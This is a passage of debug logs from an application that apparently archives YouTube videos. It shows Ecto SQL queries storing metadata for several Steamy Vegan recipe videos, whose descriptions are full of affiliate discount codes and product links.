checkout.\n\nIf you're in Canada, try out this Canadian protein powder\nGood Protein: 30% off your first purchase\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This healthy dessert is made from CHICKPEAS", "a8edb723-6d37-4f30-9ced-d09814381bde", 1, [], false, "9-EFc04XKIA", "https://www.youtube.com/watch?v=9-EFc04XKIA", 10, "/downloads/downloads/alec/Steamy Vegan/2026-02-21 This healthy dessert is made from CHICKPEAS/This healthy dessert is made from CHICKPEAS [9-EFc04XKIA].NA", false, false, false, 1, ~U[2026-02-21 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThese protein blondies have 7g of protein, 190 calories, 4g fiber, are gluten-free, vegan, oil-free and best of all are packed with chickpeas that you can't even taste! If you're looking for a healthy dessert then try this blonde version of a protein brownie that almost reminds me of a sheet pan chocolate chip cookie. \n\nGet the recipe for my Chickpea Blondies on my blog! ➡️ https://steamyvegan.com/chickpea-blon...\n\nThe Protein Powder I Used in This Recipe\n💊🥬 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nIf you're in Canada, try out this Canadian protein powder\nGood Protein: 30% off your first purchase\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This healthy dessert is made from CHICKPEAS", 1, nil, false, "9-EFc04XKIA", "https://www.youtube.com/watch?v=9-EFc04XKIA", "/downloads/downloads/alec/Steamy Vegan/2026-02-21 This healthy dessert is made from CHICKPEAS/This healthy dessert is made from CHICKPEAS [9-EFc04XKIA].NA", false, ~U[2026-02-21 00:00:00Z]] 20:31:06.207 [debug] QUERY OK source="sources" db=0.7ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.209 [debug] QUERY OK source="media_items" db=1.6ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-19 00:00:00Z], 1] 20:31:06.211 [debug] QUERY OK source="media_items" db=1.5ms idle=7.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil and chickpea thai soup recipe is high protein and is a super easy vegan soup recipe, perfect for meal prep! One of the best healthy vegan recipes you'll make this year guaranteed.\n\nGet the recipe for my Thai Curry Chickpea Soup on my blog! ➡️ https://steamyvegan.com/thai-curry-ch...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other lentil and chickpea recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\nChickpea Stew: \u00A0\u00A0\u00A0•\u00A0Love\u00A0one\u00A0pot\u00A0meals?\u00A0Make\u00A0this\u00A0high\u00A0protein...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This chickpea and lentil recipe makes the BEST Thai soup", "385662c6-117b-4e67-a72c-3104ee6e1651", 1, [], false, "a1i4v5f50kQ", "https://www.youtube.com/watch?v=a1i4v5f50kQ", 11, "/downloads/downloads/alec/Steamy Vegan/2026-02-19 This chickpea and lentil recipe makes the BEST Thai soup/This chickpea and lentil recipe makes the BEST Thai soup [a1i4v5f50kQ].NA", false, false, false, 1, ~U[2026-02-19 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis lentil and chickpea thai soup recipe is high protein and is a super easy vegan soup recipe, perfect for meal prep! One of the best healthy vegan recipes you'll make this year guaranteed.\n\nGet the recipe for my Thai Curry Chickpea Soup on my blog! ➡️ https://steamyvegan.com/thai-curry-ch...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other lentil and chickpea recipes on my channel: \nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Bolognese: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Bolognese\u00A0|\u00A0Cook\u00A0With\u00A0Me!\u00A0🍝\u00A0(Using\u00A0m...\u00A0\u00A0\nLasagna Soup: \u00A0\u00A0\u00A0•\u00A0Meal\u00A0Prep\u00A0Lasagna\u00A0Soup\u00A0That's\u00A0Just\u00A0$1\u00A0Per\u00A0...\u00A0\u00A0\nChickpea Stew: \u00A0\u00A0\u00A0•\u00A0Love\u00A0one\u00A0pot\u00A0meals?\u00A0Make\u00A0this\u00A0high\u00A0protein...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\nBuydeem Slow Cooker 20% Off Discount (this is the cooker I used in this video):\nOfficial Website 🔗 https://ca.buydeem.com/products/ca-sl...\nExclusive 20% OFF code: STEAMYVEGAN20 (use code at checkout on our official website, non-stackable)\nAmazon 🔗 https://www.amazon.ca/dp/B0F3HMJPZT?m...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\nTyphur Air Fryer\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nOfficial Website: https://bit.ly/4oiXggf\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nCheck out Noize Outerwear and my exclusive discount for you below:\nI own their Savannah Long Length Vegan Fur Coat, it's so warm!\nDiscount: 10% off (shows up at checkout when using the below link)\nLink: noize.com/Janelle\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This chickpea and lentil recipe makes the BEST Thai soup", 1, nil, false, "a1i4v5f50kQ", "https://www.youtube.com/watch?v=a1i4v5f50kQ", "/downloads/downloads/alec/Steamy Vegan/2026-02-19 This chickpea and lentil recipe makes the BEST Thai soup/This chickpea and lentil recipe makes the BEST Thai soup [a1i4v5f50kQ].NA", false, ~U[2026-02-19 00:00:00Z]] 20:31:06.213 [debug] QUERY OK source="sources" db=1.1ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.215 [debug] QUERY OK source="media_items" db=2.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-17 00:00:00Z], 1] 20:31:06.217 [debug] QUERY OK source="media_items" db=1.2ms idle=8.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis chickpea stew is packed full of protein, fiber, and all kinds of great nutrients. This vegan soup recipe is gluten-free, oil-free, and great for weight loss and muscle gains. Hope you enjoy!\n\nGet the recipe for my Chickpea Stew on my blog! ➡️ https://steamyvegan.com/chickpea-stew/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Love one pot meals? Make this high protein chickpea stew 🍲", "c8c2ea26-5b25-42f6-b2ea-df562737d9ce", 1, [], false, "uK1tHgdiOFc", "https://www.youtube.com/watch?v=uK1tHgdiOFc", 12, "/downloads/downloads/alec/Steamy Vegan/2026-02-17 Love one pot meals? Make this high protein chickpea stew 🍲/Love one pot meals? Make this high protein chickpea stew 🍲 [uK1tHgdiOFc].NA", false, false, false, 1, ~U[2026-02-17 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nThis chickpea stew is packed full of protein, fiber, and all kinds of great nutrients. This vegan soup recipe is gluten-free, oil-free, and great for weight loss and muscle gains. Hope you enjoy!\n\nGet the recipe for my Chickpea Stew on my blog! ➡️ https://steamyvegan.com/chickpea-stew/\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "Love one pot meals? Make this high protein chickpea stew 🍲", 1, nil, false, "uK1tHgdiOFc", "https://www.youtube.com/watch?v=uK1tHgdiOFc", "/downloads/downloads/alec/Steamy Vegan/2026-02-17 Love one pot meals? Make this high protein chickpea stew 🍲/Love one pot meals? Make this high protein chickpea stew 🍲 [uK1tHgdiOFc].NA", false, ~U[2026-02-17 00:00:00Z]] 20:31:06.218 [debug] QUERY OK source="sources" db=0.8ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.221 [debug] QUERY OK source="media_items" db=2.7ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-14 00:00:00Z], 1] 20:31:06.224 [debug] QUERY OK source="media_items" db=1.9ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a tofu recipe to satisfy your cravings for something crispy then these dumplings are the perfect easy vegan and gluten-free recipe for you. I've got 2 versions for you, an air fried dumpling and a pan fried dumpling both made from tofu. Hope you enjoy!\n\nGet the recipe for my Dan Dan Dumplings on my blog! ➡️ https://steamyvegan.com/dan-dan-dumpl...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/?ref=Janelle\n\nMy Fave Mushroom Coffee That I Drink Every Morning ☕️ JostArriba\nSave 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com", "This tofu recipe makes the CRISPIEST rice paper dumplings!", "aea4e722-3410-4597-8d8a-3ceaef1aa093", 1, [], false, "uBvZKyr_MOw", "https://www.youtube.com/watch?v=uBvZKyr_MOw", 13, "/downloads/downloads/alec/Steamy Vegan/2026-02-14 This tofu recipe makes the CRISPIEST rice paper dumplings!/This tofu recipe makes the CRISPIEST rice paper dumplings! [uBvZKyr_MOw].NA", false, false, false, 1, ~U[2026-02-14 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "Join the Steamy Vegan Community Here (FREE!): https://bit.ly/SteamyVegan\n\nIf you're looking for a tofu recipe to satisfy your cravings for something crispy then these dumplings are the perfect easy vegan and gluten-free recipe for you. I've got 2 versions for you, an air fried dumpling and a pan fried dumpling both made from tofu. Hope you enjoy!\n\nGet the recipe for my Dan Dan Dumplings on my blog! ➡️ https://steamyvegan.com/dan-dan-dumpl...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nTyphur Air Fryer (used in this recipe)\nSave 10% off on the Typhur Air Fryer\nCode: STEAMY10\nWebsite: typhur.sjv.io/steamyvegan\n\nCheck out these other recipes shown in this episode:\nLentil Patties: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0crispy\u00A0p...\u00A0\u00A0\nTVP Sausage Crumbles: \u00A0\u00A0\u00A0•\u00A0This\u00A0TVP\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0vegan\u00A0sausage!\u00A0\u00A0\nLentil Waffles: \u00A0\u00A0\u00A0•\u00A0These\u00A0healthy\u00A0waffles\u00A0are\u00A0made\u00A0from\u00A0LENTILS\u00A0\u00A0\nLentil Pizza Crust: \u00A0\u00A0\u00A0•\u00A0This\u00A0lentil\u00A0recipe\u00A0makes\u00A0the\u00A0BEST\u00A0pizza\u00A0crust\u00A0\u00A0\nAnti-Inflammatory Lentil Soup: \u00A0\u00A0\u00A0•\u00A0I\u00A0made\u00A0Pam\u00A0Anderson's\u00A0anti\u00A0inflammatory\u00A0le...\u00A0\u00A0\n\n💚 Other Exclusive Discounts on Products I Actually Use 💚\n💪🏼 WellBean Muggins & Protein Bars💪🏼\nDiscount: 15% off your first order\nCode: STEAMYVEGAN\nLink: https://wellbean.life/discount/Steamy...\n\n💊🥬 Get 15% off Complement Protein Powder \nCode: STEAMYVEGAN\nLink: https://lovecomplement.com/products/c... and use code STEAMYVEGAN at checkout.\n\nThe Vegan Multivitamin I Take Everyday\nComplement Essentials and ForHer: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/pages/comp...\n\n20% off at Sprout Living (Available in the US)\nCode: STEAMYVEGAN20\n🔗: https://sproutliving.com/STEAMYVEGAN20\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: 